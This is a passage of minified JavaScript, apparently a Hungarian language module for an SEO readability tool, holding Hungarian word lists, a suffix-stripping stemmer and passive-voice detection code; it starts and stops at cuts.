"valamilyen","valamilyet","valamilyennek","valamilyennel","valamilyenért","valamilyenben","valamilyenbe","valamilyenből","valamilyennél","valamilyenhez","valamilyentől","valamilyenen","valamilyenre","valamilyenről","valaminő","valamelyes","valamelyest","valamekkora","valamekkorát","valamekkorának","valamekkorával","valamekkoráért","valamekkorában","valamekkorába","valamekkorából","valamekkoránál","valamekkorához","valamekkorától","valamekkorán","valamekkorára","valamekkoráról","valamekkorává","valamely","valamelyet","valamelynek","valamellyel","valamelyért","valamelyben","valamelybe","valamelyből","valamelynél","valamelyhez","valamelytől","valamelyen","valamelyre","valamelyről","valamellyé","valamelyik","valamelyiket","valemelyiknek","valamelyikkel","valamelyikért","valamelyikben","valamelyikbe","valamelyikből","valamelyiknél","valamelyikhez","valamelyiktől","valamelyiken","valamelyikre","valamelyikről","valamelyikké","valamiféle","valamifélét","valamifélének","valamifélével","valamiféléért","valamifélében","valamifélébe","valamiféléből","valamifélénél","valamiféléhez","valamifélétől","valamifélén","valamifélére","valamiféléről","valamennyi","valamennyit","valamennyié","valamennyinek","valamennyivel","valamennyiért","valamennyiben","valamennyibe","valamennyiből","valamennyinél","valamennyihez","valamennyitől","valamennyin","valamennyire","valamennyiről","valamennyivé","valahány","valahányat","valahánynak","valahánnyal","valahányért","valahányban","valahányba","valahányból","valahánynál","valahányhoz","valahánytól","valahányon","valahányra","valahányról","valahánnyá","némely","némelyet","némelynek","némelynél","némelyért","némelyben","némelybe","némelyből","némelynél","némelyhez","némelytől","némelyen","némelyre","némelyről","némi","némelyik","némelyiket","némelyiknek","némelyikkel","némelyikért","némelyikben","némelyikbe","némelyikből","némelyiknél","némelyikhez","némelyiktől","némelyiken","némelyikre","némelyikről","néminemű","néhány","néhányat","néhánynak","néhánnyal","néhányért","néhányban","néhányba","néhányból","néhánynál","néhányhoz","néhánytól","néhányon","néhányra","néhányról","valahol","valahová","valamerre","valahonnan","valamikor","valaha","valaha","valahogyan","valamiképpen","valamiért","néhol","néha","némelykor","némiképpen","némileg","mindenki","mindenféle","mindegyik","mindahány","mindenhol","mindenütt","mindenhová","mindenhonnan","mindenkor","mindenhogyan","mindenképpen","bárki","bármi","bármelyik","bármilyen","bármennyi","bárhol","bárhová","bárhonnan","bármikor","bármeddig","bárhogyan","akárki","akármi","akármelyik","akármilyen","akármennyi","akárhány","akárhol","akárhová","akárhonnan","akármikor","akárhogyan","senki","semmi","semmilyen","semennyi","sehány","sehol","sehová","sehonnan","semmikor","sehogy","semmiképp","valakik","valakiket","valakiké","valakiknek","valakikkel","valakikért","valakikben","valakikbe","valakikből","valakiknél","valakikhez","valakiktől","valakiken","valakikre","valakikről","valakikké","valamik","valamiket","valamiké","valamiknek","valamikkel","valamikért","valamikben","valamikbe","valamikből","valamiknél","valamikhez","valamiktől","valamiken","valamikre","valamikről","valamikké","valamilyenek","valamilyeneket","valamilyeneknek","valamilyenekkel","valamilyenekért","valamilyenekben","valamilyenekbe","valamilyenekből","valamilyeneknél","valamilyenekhez","valamilyenektől","valamilyeneken","valamilyenekre","valamilyenekről","valamilyenekké","valaminők","valamekkorák","valamekkorákat","valamekkoráknak","valamekkorákkal","valamekkorákért","valamekkorákban","valamekkorákba","valamekkorákból","valamekkoráknál","valamekkorákhoz","valamekkoráktól","valamekkorákon","valamekkorákra","valamekkorákról","valamelyek","valamelyeket","valamelyeknek","valamelyekkel","valamelyekért","valamelyekben","valamelyekbe","valamelyekből","valamelyeknél","valamelyekhez","valamelyektől","valamelyeken","valamelyekre","valamelyekről","valamelyekké","valamelyikek","valamelyikeket","valamelyikeknek","valamelyikekkel","valamelyikekért","valamelyikekben","valamelyikekbe","valamelyikekből","valamelyikeknél","valamelyikekhez","valamelyikektől","valamelyikeken","valamelyikekre","valamelyikekről","valamifélék","valamiféléket","valamiféléknek","valamifélékkel","valamifélékért","valamifélékben","valamifélékbe","valamifélékből","valamiféléknél","valamifélékhez","valamiféléktől","valamiféléken","valamifélékre","valamifélékről","valamennyik","valamennyiket","valamennyiknek","valamennyikkel","valamennyikért","valamennyikben","valamennyikbe","valamennyikből","valamennyiknél","valamennyikhez","valamennyiktől","valamennyiken","valamennyikre","valamennyikről","valahányak","valahányakat","valahányaknak","valahányakkal","valahányakért","valahányakban","valahányakba","valahányakból","valahányaknál","valahányakhoz","valahányaktól","valahányakon","valahányakra","valahányakról","némelyek","némelyeket","némelyeknek","némelyekkel","némelyekért","némelyekben","némelyekbe","némelyekből","némelyeknél","némelyekhez","némelyektől","némelyeken","némelyekre","némelyekről","némelyikek","némelyikeket","némelyikeknek","némelyikekkel","némelyikekért","némelyikekben","némelyikekbe","némelyikekből","némelyikeknél","némelyikekhez","némelyikektől","némelyikeken","némelyikekre","némelyikekről","néhányak","néhányakat","néhányaknak","néhányakkal","néhányakért","néhányakban","néhányakba","néhányakból","néhányaknál","néhányakhoz","néhányaktól","néhányakon","néhányakra","néhányakról"],["előtt","elé","elől","alatt","alá","alól","túl","alatt","belül","előtt","fogva","hosszat","múlva","óta","tájt","ellen","helyett","iránt","miatt","nélkül","részére","számára","végett","között"],["és","s","se","sem","vagy","is","de"],["mond","bejelent","megerősít","kijelent","javasol","említ","tájékoztat","értesít","kérdez","beszél","megkérdez","állít","elmagyaráz","magyaráz","gondol","hisz","megtárgyal","tárgyal","vitat","megvitat","ért","megért","elmond","elmesél","tud","megtud","megbeszél","megmond","megmagyaráz"],["alig","kissé","különösen","nagyon","teljesen","túl","túlságosan","kevésbé","nagyrészt","kicsit","picit","szörnyen","borzasztóan","iszonyatosan","irtó","irtózatosan","komolyan","súlyosan","könnyedén","nehezen"],["fog","volna","akar","bír","kell","kíván","látszik","lehet","tud","szabad","tetszik","méltóztatik","szokott"],["nagy","kicsi","gyors","lassú","jó","rossz","drága","olcsó","vastag","vékony","keskeny","széles","puha","hangos","halk","intelligens","buta","nedves","száraz","nehéz","könnyű","kemény","lágy","sekély","mély","gyönge","erős","gazdag","szegény","fiatal","öreg","hosszú","rövid","magas","alacsony","bőkezű","fukar","igaz","hamis","gyönyörű","csúnya","új","régi","boldog","szomorú","idős","gyenge","biztonságos","veszélyes","korán","későn","világos","sötét","nyitva","zárva","szoros","laza","teli","üres","sok","kevés","élő","halott","meleg","hideg","érdekes","unalmas","szerencsés","szerencsétlen","fontos","lényegtelen","messze","közel","tiszta","piszkos","kedves","gonosz","kellemes","kellemetlen","kiváló","borzalmas","normális","szép","nagyon","kicsit","gyorsan","lassan","jól","rosszul","drágán","olcsón","hangosan","halkan","nehezen","könnyen","gyengén","erősen","gazdagon","fiatalon","öreg","hosszan","röviden","magasan","alacsonyan","bőkezűen","gyönyörűen","csúnyán","boldogan","szomorúan","gyengéden","biztonságosan","veszélyesen","világosan","szorosan","lazán","sokan","kevesen","élve","melegen","hidegen","érdekesen","unalmasan","szerencsésen","szerencsétlenül","tisztán","piszkosan","kedvesen","gonoszan","kellemesen","kellemetlenül","kiválóan","borzalmasan","normálisan","szépen"],["ó","óh","jaj","a kutyafáját","a fenébe","a csudába","a francba","atyaég","atyavilág","azta","aztamindenit","juj","juhú","éljen","jé","hű","hú","ajjaj","pszt","csitt","hess","hé","ej","ejnye","na","nicsak","nocsak","natessék","nahát","rajta","hajrá","juhú","teringettét","nosza","uccu","csitt","kuss","dirr","durr"],["liter","l","deciliter","dl","milliliter","gramm","g","dekagramm","dkg","kilogramm","kg","milligramm","mg","tucat","centiliter","cl","méter","m","deciméter","dm","centiméter","cm","milliméter","mm","evőkanál","ek.","mokkáskanál","mk.","kávéskanál","kk.","gyermekkanál","gyk.","kávéscsésze","kcs.","teáscsésze","tcs.","csésze","csé.","bögre","bgr.","mélytányér","ujjnyi","csomag","gerezd","csokor"],["másodperc","perc","óra","nap","hét","hónap","év","évtized","évszázad","évezred","ma","holnap","tegnap","jövő héten","jövő hónapban","jövő évben","múlt héten","múlt hónapban","múlt évben","tavaly","jövőre","reggel","délben","este","éjszaka","hajnalban","délután","délelőtt"],["dolog","izé","valami","személy","ember","alkalom","eset","ügy","tárgy","valamicsoda","téma","ötlet"],["stb.","fél","harmad","negyed","ötöd","hatod","heted","nyolcad","kilenced","tized","egyharmad","egynegyed","egyötöd","egyhatod","egyheted","egynyolcad","egykilenced","egytized","század","ezred"],l)),r=[["nemcsak","hanem","is"],["ahogy","akkor"],["ahogy","azonnal"],["ahogy","azután"],["ahogy","máris"],["ahogy","nyomban"],["ahogy","tüstént"],["akkor","amikor"],["akkor","ha"],["akkor","hogy"],["akkor","hogyha"],["akkor","mikor"],["akkorra","amikorra"],["akkorra","mikorra"],["akkorra","mire"],["akkortól","amikor"],["akkortól","mikor"],["alighogy","máris"],["alighogy","nyomban"],["alighogy","tüstént"],["addig","ameddig"],["ameddig","addig"],["abba","hogy"],["abban","hogy"],["abból","hogy"],["addig","amíg"],["addig","hogy"],["addig","míg"],["afelé","hogy"],["ahelyett","hogy"],["ahhoz","hogy"],["akként","hogy"],["akkorra","hogy"],["amiatt","hogy"],["amellett","hogy"],["anélkül","hogy"],["annyi","hogy"],["annyi","mint"],["annyira","hogy"],["annyira","mint"],["arra","hogy"],["arról","hogy"],["attól fogva","hogy"],["attól","hogy"],["avégett","hogy"],["avégre","hogy"],["az ellen","hogy"],["az iránt","hogy"],["azelőtt","hogy"],["azért","hogy"],["azon","hogy"],["azonkívül","hogy"],["azóta","hogy"],["azután","hogy"],["azzal","hogy"],["hol","hol"],["igaz","hogy"],["mind","mind"],["nem úgy","mint"],["oly módon","hogy"],["inkább","semhogy"],["úgy","hogy"],["úgy","mint"],["vagy","vagy"],["se","se"],["sem","sem"],["is","is"],["akár","akár"],["is","meg"],["nem","hanem"],["egyrészt","másrészt"],["minél","annál"],["amíg","addig"],["amíg","addigra"],["amikor","akkor"],["akkor","amikor"],["amikor","aközben"],["amikor","azalatt"],["addigra","amikorra"],["amikorra","addigra"],["amikorra","akkorra"],["amint","akkor"],["amint","azonnal"],["amint","máris"],["amint","nyomban"],["amint","tüstént"],["amióta","attól kezdve"],["azóta","amióta"],["amióta","azóta"],["amire","addig"],["amire","addigra"],["azóta","hogy"],["ha","akkor"],["hogyha","akkor"],["is","is"],["azalatt","mialatt"],["mialatt","azalatt"],["mielőtt","azelőtt"],["azelőtt","mielőtt"],["mihelyt","azonnal"],["mihelyt","máris"],["mihelyt","nyomban"],["mihelyt","tüstént"],["mikor","akkor"],["mikor","aközben"],["mikor","azalatt"],["mikor","azután"],["mikorra","addigra"],["akkorra","mikorra"],["mikorra","akkorra"],["miközben","azalatt"],["mióta","attól kezdve"],["mire","addigra"],["miután","azután"],["attól kezdve","mióta"],["mióta","azóta"],["azóta","mióta"],["mire","addig"],["addigra","mire"],["azután","miután"],["nemcsak","hanem"],["sem","sem"],["vagy","vagy"]],i=["az","a","egy","nulla","egy","kettő","kettő","három","négy","öt","hat","hét","nyolc","kilenc","tíz","száz","ezer","és","se","sem","vagy","de","aztán","ezután","azután","majd","ezek után","nagyon","kicsit","nagy","kevés","sok","sokan","kevesen","jól","ez","ezek","az","azok","néhány","aki","ami","én","mi","ő","ők","engem","nekem","velem","nálam","hozzám","tőlem","rajtam","rám","rólam","téged","neked","veled","érted","nálad","hozzád","tőled","rólad","őt","neki","vele","érte","nála","hozzá","tőle","rajta","rá","róla","minket","nekünk","velünk","értünk","nálunk","hozzánk","tőlünk","rólunk","titeket","nektek","veletek","értetek","nálatok","hozzátok","tőletek","rajtatok","rátok","rólatok","őket","nekik","velük","értük","bennük","náluk","hozzájuk","tőlük","rajtuk","rájuk","róluk","azonban","ám","ha","szerintem","míg","bár","habár","hát","ha","amennyiben","mivel","azonban","amíg","azért","ezért","mi","mit","miért","meddig","mikor","hány","mennyi","ki","kit","merre","hogy","hogyan","miként","hol","honnan","hová","mivel","milyen","ó","óh","jaj","kék","zöld","fekete","sárga","piros","szürke","ne","nem","hát","nos"],m=["a","ahogy","ahol","aki","akik","akkor","alatt","által","általában","amely","amelyek","amelyekben","amelyeket","amelyet","amelynek","ami","amit","amolyan","amíg","amikor","át","abban","ahhoz","annak","arra","arról","az","azok","azon","azt","azzal","azért","aztán","azután","azonban","bár","be","belül","benne","cikk","cikkek","cikkeket","csak","de","e","eddig","egész","egy","egyes","egyetlen","egyéb","egyik","egyre","ekkor","el","elég","ellen","elé","először","előtt","első","én","éppen","ebben","ehhez","emilyen","ennek","erre","ez","ezt","ezek","ezen","ezzel","ezért","és","fel","felé","hanem","hiszen","hogy","hogyan","igen","így","illetve","ill.","ill","ilyen","ilyenkor","ismét","itt","jó","jól","jobban","kell","kellett","keresztül","keressünk","ki","kívül","között","közül","legalább","lehet","lehetett","legyen","lenne","lenni","lesz","lett","maga","magát","majd","majd","már","más","másik","meg","még","mellett","mert","mely","melyek","mi","mit","míg","miért","milyen","mikor","minden","mindent","mindenki","mindig","mint","mintha","mivel","most","nagy","nagyobb","nagyon","ne","néha","nekem","neki","nem","néhány","nélkül","nincs","olyan","ott","össze","ő","ők","őket","pedig","persze","rá","s","saját","sem","semmi","sok","sokat","sokkal","számára","szemben","szerint","szinte","talán","tehát","teljes","tovább","továbbá","több","úgy","ugyanis","új","újabb","újra","után","utána","utolsó","vagy","vagyis","valaki","valami","valamint","való","vissza","viszont"],y=window.lodash,s=function(e,a){const n=function(e,a){const n=e.externalStemmer.vowels,l=new RegExp(n);return a.search(l)}(e,a);if(0===n){const n=function(e,a){const n=new RegExp(e.externalStemmer.digraphs),l=new RegExp(e.externalStemmer.consonants),k=a.search(n),t=a.search(l);return k===t?k+1:t}(e,a);return n+1}return n+1},{baseStemmer:o}=n.languageProcessing;function g(e){const a=(0,y.get)(e.getData("morphology"),"hu",!1);return a?e=>function(e,a){const n=function(e,a){if(e.length<3)return e;const n=s(a,e);if(e.search(new RegExp(a.externalStemmer.suffixes1))>=n){let n=e.slice(0,-2);const l=new RegExp(a.externalStemmer.doubleConsonants);-1!==n.search(l)&&(n=n.slice(0,-1));const k=new RegExp(a.externalStemmer.tripleDoubleConsonants);if(-1!==n.search(k)&&(n=n.slice(0,-2)+n.charAt(n.length-1)),n.length!==e.slice(0,-2).length)return n}return e}(e,a),l=function(e,a,n){if(e.length<3)return e;const l=s(n,e),k=e.search(new RegExp(a));if(k>=l){const a=e.substring(0,k);return a.endsWith("á")?a.replace(/á$/i,"a"):a.endsWith("é")?a.replace(/é$/i,"e"):a}return e}(n,a.externalStemmer.suffixes2,a),k=function(e,a,n){if(e.length<3)return e;const l=s(n,e),k=e.search(new RegExp(a));return k>=l?e.substring(0,k)+"a":e}(l,a.externalStemmer.suffixes3,a),t=function(e,a,n){if(e.length<3)return e;const l=s(n,e),k=e.search(new RegExp(a));return k>=l?e.substring(0,k):e}(k,a.externalStemmer.suffixes4,a),r=function(e,a,n){if(e.length<3)return e;const l=s(n,e);if(e.search(new RegExp(a))>=l){let a=e.slice(0,-1);const l=new RegExp(n.externalStemmer.doubleConsonants);return-1!==a.search(l)&&(a=a.slice(0,-1)),a}return e}(t,a.externalStemmer.suffixes5,a),i=function(e,a,n){if(e.length<3)return e;const l=s(n,e),k=e.search(new RegExp(a));return k>=l?e.substring(0,k):e}(r,a.externalStemmer.suffixes6,a),m=function(e,a,n){if(e.length<3)return e;const l=s(n,e),k=e.search(new RegExp(a));return k>=l?e.substring(0,k):e}(i,a.externalStemmer.suffixes7,a),y=function(e,a,n){if(e.length<3)return e;const l=s(n,e),k=e.search(new RegExp(a));return k>=l?e.substring(0,k):e}(m,a.externalStemmer.suffixes8,a),o=function(e,a,n){if(e.length<3)return e;const l=s(n,e),k=e.search(new RegExp(a.suffixes9a));if(k>=l)return e.substring(0,k)+"a";const t=e.search(new RegExp(a.suffixes9b));return t>=l?e.substring(0,t)+"e":e}(y,a.externalStemmer.suffixes9,a),g=function(e,a,n){if(e.length<3)return e;const l=s(n,e),k=e.search(new RegExp(a));return k>=l?e.substring(0,k)+"a":e}(o,a.externalStemmer.suffixes10,a),z=function(e,a,n){if(e.length<3)return e;const l=s(n,e);return e.search(new RegExp(a.suffixes11a))>=l?e.slice(0,-2)+"a":e.search(new RegExp(a.suffixes11b))>=l?e.slice(0,-2)+"e":e}(g,a.externalStemmer.suffixes11,a);return function(e,a,n){if(e.length<3)return e;const l=s(n,e),k=e.search(new RegExp(a));return k>=l?e.substring(0,k):e}(z,a.externalStemmer.suffixes12,a)}(e,a):o}const z=["megvételre","megrendezésre","képzésre","kifejezésre","következtetésre","fejlesztésre","bevezetésre","kezelésre","ellenőrzésre","elhelyezésre","értékesítésre","cselekvésre","beépítésre","intézkedésre","kifizetésre","működésre","értékelésre","egyeztetésre","rögzítésre","megjelenésre","meghirdetésre","fizetésre","megbeszélésre","bejelentésre","bekezdésre","közreműködésre","teljesítésre","elküldésre","kivitelezésre","kihirdetésre","korszerűsítésre","előterjesztésre","üzemeltetésre","szerződéskötésre","visszafizetésre","befektetésre","minősítésre","telepítésre","megfigyelésre","berendezésre","megerősítésre","megtekintésre","feltüntetésre","megkülönböztetésre","befizetésre","megszüntetésre","kinevezésre","előkészítésre","felmentésre","megszervezésre","gyógykezelésre","mérlegelésre","végkielégítésre","engedélyezésre","kihelyezésre","megsemmisítésre","előrelépésre","tenyésztésre","elnevezésre","befejezésre","ismétlésre","egyesülésre","közvetítésre","lekérdezésre","szervezésre","csökkentésre","területfejlesztésre","költségtérítésre","felfüggesztésre","frissítésre","vámfizetésre","kifejlesztésre","elhelyezkedésre","teremtésre","megjelölésre","töltésre","kiegyenlítésre","kifejtésre","megépítésre","átszervezésre","termesztésre","felemelkedésre","átépítésre","áremelésre","áthelyezésre","újjáépítésre","megbecsülésre","átültetésre","visszaigénylésre","feljegyzésre","törlesztésre","helyettesítésre","követelésre","érvelésre","elkülönítésre","átképzésre","kiértékelésre","térítésre","továbbfejlesztésre","ösztönzésre","szerkesztésre","megítélésre","letöltésre","selejtezésre","segélyezésre","érintkezésre","emelkedésre","megküldésre","erősítésre","felderítésre","védésre","elbeszélgetésre","megemlítésre","felépítésre","megfejtésre","mentesítésre","előfizetésre","megtervezésre","szakképesítésre","hitelesítésre","megnevezésre","érvényesítésre","számonkérésre","terjeszkedésre","beterjesztésre","összevetésre","jogsértésre","véglegesítésre","kiküldetésre","megörökítésre","kivégzésre","költözésre","megtérülésre","kézbesítésre","közmegegyezésre","idézésre","kirekesztésre","visszaesésre","beszerelésre","beültetésre","kiterjesztésre","kifüggesztésre","leépítésre","megismerkedésre","végzésre","részletfizetésre","megfizetésre","kiürítésre","ízesítésre","méregtelenítésre","rendszerezésre","felterjesztésre","szemléltetésre","megtermékenyítésre","lekötésre","kiegyezésre","előrejelzésre","ellenvetésre","növelésre","képesítésre","beszedésre","ellenjegyzésre","áttelepítésre","egységesítésre","akadálymentesítésre","előtörlesztésre","azonosításra","aktiválásra","hasznosításra","foglalkoztatásra","finanszírozásra","megfinanszírozásra","benyújtásra","pontosításra","forgalmazásra","beszállításra","felzárkózásra","továbbításra","differenciálásra","folyósításra","kiszállításra","átcsoportosításra","kártalanításra","továbbgondolásra","felzárkóztatásra","megválaszolásra","átállásra","számlázásra","fotózásra","megvásárlásra","felszámításra","kiszámlázásra","lehívásra","leszámlázásra","továbbjutásra","szaporításra","raktározásra","kinyomtatásra","reklámozásra","újrahasznosításra","archiválásra","elővásárlásra","visszautalásra","létrehozásra","tanúsításra","ártalmatlanításra","adományozásra","kisorsolásra","utalványozásra","átgondolásra","azonosulásra","postázásra","televíziózásra","átsorolásra","finomításra","privatizálásra","dokumentálásra","beiskolázásra","digitalizálásra","újragondolásra","aktualizálásra","delegálásra","pályáztatásra","voksolásra","felhordásra","moderálásra","áthaladásra","gyámolításra","lajstromozásra","sokszorosításra","elsajátításra","szigorításra","klónozásra","elhatárolódásra","elbontásra","kiaknázásra","befolyásolásra","renoválásra","kivárásra","feliratozásra","akkreditálásra","parkosításra","szakosodásra","legyártásra","továbbgondolkodásra","magánosításra","összehangolásra","megvilágosodásra","titkosításra","integrálásra","visszaadásra","rangsorolásra","kilábalásra","szponzorálásra","szankcionálásra","modernizálásra","leltározásra","koordinálásra","apostolkodásra","definiálásra","komposztálásra","elvándorlásra","átváltásra","kódolásra","naplózásra","adagolásra","megtámadásra","exportálásra","betáplálásra","kompenzálásra","kapaszkodásra","áthallgatásra","dedikálásra","beindításra","kimunkálásra","hamisításra","megigazulásra","újratárgyalásra","visszaszállításra","megalapításra","szabványosításra","tartósításra","meditálásra","palackozásra","bírságolásra","listázásra","liberalizálásra","iskoláztatásra","auditálásra","monitorozásra","visszapótlásra","sugalmazásra","kipostázásra","előrejutásra","gyarapításra","visszaosztásra","konzerválásra","adóztatásra","decentralizálásra","diagnosztizálásra","harmonizálásra","konszolidálásra","átszállításra","realizálásra","beazonosításra","szelektálásra","újraszabályozásra","kihúzásra","optimalizálásra","bevizsgálásra","kiválogatásra","leosztásra","szállítmányozásra","torzításra","visszaigazolásra","visszaszolgáltatásra","rehabilitálásra","továbbtartásra","darabolásra","felhasználásra","bemutatásra","ellátásra","felújításra","kialakításra","átadásra","kiállításra","feldolgozásra","módosításra","változásra","kiosztásra","beavatkozásra","megvalósításra","megállapodásra","jóváhagyásra","szabályozásra","változtatásra","elszámolásra","felhívásra","meghallgatásra","elbírálásra","végrehajtásra","lemondásra","elhatározásra","kiírásra","megfogalmazásra","népszavazásra","kiválasztásra","hozzájárulásra","bemutatkozásra","felszólalásra","elutasításra","megvitatásra","levonásra","átutalásra","kizárásra","előállításra","bizonyításra","kárpótlásra","nyomtatásra","felállításra","beszámításra","pótlásra","publikálásra","megbízásra","felbontásra","megválasztásra","kibocsátásra","kivizsgálásra","lebontásra","feltárásra","felosztásra","visszavonásra","elosztásra","felvásárlásra","megbocsátásra","szétosztásra","megújításra","megnyitásra","korlátozásra","bérbeadásra","eltiltásra","elbocsátásra","meghosszabbításra","bebocsátásra","levágásra","restaurálásra","felajánlásra","kivágásra","kormányalakításra","megmunkálásra","osztályozásra","sorozatgyártásra","betakarításra","leszámolásra"],{getWords:v}=n.languageProcessing,h=["éva","szava","moszkva","alternatíva","normatíva","java","jelszava","direktíva","perspektíva","dráva","lova","kurva","szilva","páva","kollektíva","lárva","szarva","tava","láva","díva","ponyva","hava","offenzíva","előszava","borotva","színe-java","hamva","káva","legjava","mályva","murva","olíva","híre-hamva","pelyva","címszava","dudva","sava","csóva","golyva","árva","fénycsóva","utószava","antikva","közjava","aktíva","hadiárva","morotva","gyomorsava","villanyborotva","alapszava","szerva","odva","naiva","szupernova","félárva","harangszava","szlalomozva","halastava","vezényszava","falova","defenzíva","lángcsóva","varázsszava","végszava","hadova","dzsuva","pányva","sátorponyva","parancsszava","vezérszava","falva","durva","gyáva","tétova","zagyva","mogorva","morva","híva","báva","hova","fordítva","ahova","felváltva","valahova","kurva","sehova","kisvártatva","játszva","hivatva","mindenhova","tova","bárhova","lopva","idestova","elragadtatva","lélekszakadva","fejcsóválva","akárhova","fogcsikorgatva","tárva-nyitva","hagyatva","szájtátva","készakarva","karonfogva","szívdobogva","lélegzet-visszafojtva","szívszorongva","orozva","fogvacogva","szívszakadva","fogvicsorítva","bélapátfalva","albertfalva","éve","neve","könyve","szíve","teve","elve","műve","kedve","terve","nyelve","szerve","medve","híve","alapelve","törvénykönyve","életműve","irányelve","kézikönyve","felhasználóneve","jegyzőkönyve","diáknyelve","leve","ismérve","tanterve","hírneve","objektíve","íve","emlékműve","anyanyelve","beceneve","forgatókönyve","féléve","orgonaműve","tankönyve","alapköve","jókedve","évkönyve","járműve","köve","keresztneve","ráckeve","munkaterve","vezetékneve","remekműve","túrkeve","töve","öve","futóműve","heve","sarokköve","életéve","vendégkönyve","negyedéve","jegesmedve","csöve","szócsöve","keve","üdve","nedve","gyűjtőneve","fedőneve","mérföldköve","kéve","ütemterve","próbaköve","gépjárműve","domborműve","ékköve","rokonszenve","érzékszerve","kollektíve","életkedve","örve","sérve","verseskönyve","füve","építőköve","ellenszenve","álneve","tanulmányterve","szakácskönyve","erőműve","sarkköve","barnamedve","hajtóműve","mesterműve","színműve","törzskönyve","utóneve","családneve","formanyelve","távcsöve","tanéve","mosómedve","talpköve","szövegkönyve","sírköve","keserve","boltíve","márkaneve","munkakedve","kérdőíve","rosszkedve","emlékkönyve","gúnyneve","szakkönyve","pályaműve","olvasókönyve","előneve","csúcsszerve","személyneve","atomerőműve","útikönyve","cséve","telefonkönyve","képeskönyve","szabálykönyve","nyakörve","cseppköve","látószerve","mozgásszerve","daloskönyve","halászleve","heresérve","jogelve","köldöksérve","utcaneve","eleve","közvetve","elvétve","relatíve","karöltve","együttvéve","vállvetve"],{values:d}=n.languageProcessing,{Clause:b}=d,u=["kerülök","kerülsz","kerül","kerülünk","kerültök","kerülnek","kerüljek","kerülj","kerüljön","kerüljünk","kerüljetek","kerüljenek","kerülnék","kerülnél","kerülne","kerülnénk","kerülnétek","kerülnének","kerültem","kerültél","került","kerültünk","kerültetek","kerültek","kerültem volna","kerültél volna","került volna","kerültünk volna","kerültetek vola","kerültek volna","fogok kerülni","fogsz kerülni","fog kerülni","fogunk kerülni","fogtok kerülni","fognak kerülni"],c=["vagyok","vagy","van","vagyunk","vagytok","vannak","legyek","legyél","legyen","legyünk","legyetek","legyenek","lennék","lennél","lenne","lennénk","lennétek","lennének","leszek","leszel","lesz","leszünk","lesztek","lesznek","voltam","voltál","volt","voltunk","voltatok","voltak","lettem volna","lettél volna","lett volna","lettünk volna","lettetek volna","lettek volna"],f=["fogok","fogsz","fog","fogunk","fogtok","fognak"],p={auxiliaries1:u,auxiliaries2:c,auxiliaries3:f,allAuxiliaries:[].concat(u,c,f)},{getClausesSplitOnStopWords:j,createRegexFromArray:x}=n.languageProcessing,w={Clause:class extends b{constructor(e,a){super(e,a),this._participles=function(e){const a=v(e),n=new RegExp("(ve|va|ódni|ődni)$");return a.filter((e=>n.test(e)||z.includes(e)))}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const e=this.getParticiples().filter((e=>!h.includes(e)));this.setPassive(e.length>0)}},regexes:{auxiliaryRegex:x(p.allAuxiliaries),stopwordRegex:x(m)}};function S(e){return j(e,w)}const R=["ábrázol","ad","adományoz","ajándékoz","akadályoz","alakít","alapít","álcáz","áldoz","alkalmaz","alkot","állít","arat","ás","automatizál","azonosít","befolyásol","bírál","bizonyít","bocsát","bont","bonyolít","csatol","definiál","deklarál","digitalizál","dob","dokumentál","dolgoz","finanszíroz","fogalmaz","foglal","foglalkoztat","fogyaszt","fojt","fokoz","fontol","fordít","forgalmaz","garantál","gyakorl","gyárt","gyógyít","hagy","hajt","hálál","hallgat","hamisít","hárít","használ","határoz","hidal","hoz","igazít","igazol","illusztrál","importál","indít","ír","irányít","istáz","javasol","javít","jutalmaz","kattint","kínál","kombinál","kompenzál","komponál","kritizál","kutat","lapoz","listáz","locsol","magyaráz","másol","moderál","mond","motivál","mozgósít","mulaszt","mutat","nyomtat","nyújt","olvas","oszt","parancsol","postáz","pótl","próbál","produkál","ragaszt","rak","ráz","regisztrál","reklámoz","rombol","ront","ruház","sajátít","sorol","strukturál","sugárz","szabályoz","szakít","szállít","számít","számláz","számol","szavaz","szimbolizál","szólít","szorít","talál","támogat","tanít","tárol","tart","taszít","távolít","tilt","tisztít","továbbít","tudósít","tulajdonít","újít","utal","utasít","válaszol","választ","válogat","vált","változtat","varázsol","világít","világosít","vitat","vizsgál","von"],E=["beszél","böngész","bővít","címz","cserél","derít","díszít","dönt","egészít","egyeztet","egyszerűsít","elégít","emel","említ","engedélyez","enyhít","épít","érint","erősít","ért","értékel","értelmez","érzékeltet","ev","fedez","fejleszt","fejt","fektet","felejt","feltev","figyel","fizet","győz","gyűjt","hegeszt","helyettesít","helyez","hirdet","idéz","igényl","illeszt","intéz","ismer","ítél","ízesít","jegyz","jelenít","jelent","jelentkez","jelöl","kényszerít","képvisel","kérdez","kerekít","keresztel","készít","késztet","kezel","kivitelez","kölcsönz","köt","követ","közl","közvetít","küld","különít","küszöböl","melegít","mellékl","mér","nevez","néz","nyel","nyer","örökít","őrz","összegz","összesít","rendel","rendez","rögzít","semmisít","sürget","szed","szeg","szennyez","szerel","szerkeszt","szervez","szigetel","színez","tekint","telepít","teljesít","tenyészt","teremt","térít","terjeszt","tervez","testesít","tesztel","tev","tölt","tömörít","törl","üldöz","ültet","végz","veszélyeztet","vet","vetít","vev","vezet"],P={odikVerbStems1:R,odikVerbStems2:E,all:R.concat(E)},W=["ódom","ódsz","ódik","ódunk","ódtok","ódnak","ódtam","ódtál","ódott","ódtunk","ódtatok","ódtak","ódjak","ódj","ódjon","ódjunk","ódjatok","ódjanak","ódnék","ódnál","ódna","ódnánk","ódnátok","ódnának"],C=["ődöm","ődsz","ődik","ődünk","ődtök","ődnek","ődtem","ődtél","ődött","ődtünk","ődtetek","ődtek","ődjek","ődj","ődjön","ődjünk","ődjetek","ődjenek","ődnék","ődnél","ődne","dnénk","ődnétek","ődnének"],O=["abba","agyon","alul","alá","alább","által","át","be","bele","belé","benn","egybe","együtt","el","ellen","elő","előre","észre","fel","föl","félbe","félre","felül","fölül","fenn","fönn","hátra","haza","helyre","hozzá","ide","jóvá","keresztül","ketté","ki","kölcsön","körül","körbe","közbe","közre","közzé","külön","le","létre","meg","mellé","neki","oda","össze","rá","rajta","széjjel","szembe","szerte","szét","tele","teli","tova","tovább","tönkre","utol","túl","újjá","újra","utána","végbe","végig","vissza"],{getWords:A}=n.languageProcessing,T=function(e,a,n,l){return a.some((a=>l.some((function(l){const k=a+l;if(e.endsWith(k)){const a=e.slice(0,e.indexOf(k));return""===a||n.includes(a)}}))))};function V(e){const a=A(e),n=P.odikVerbStems1,l=P.odikVerbStems2;return a.some((e=>T(e,n,O,W)||T(e,l,O,C)))}const{AbstractResearcher:$}=n.languageProcessing;class _ extends 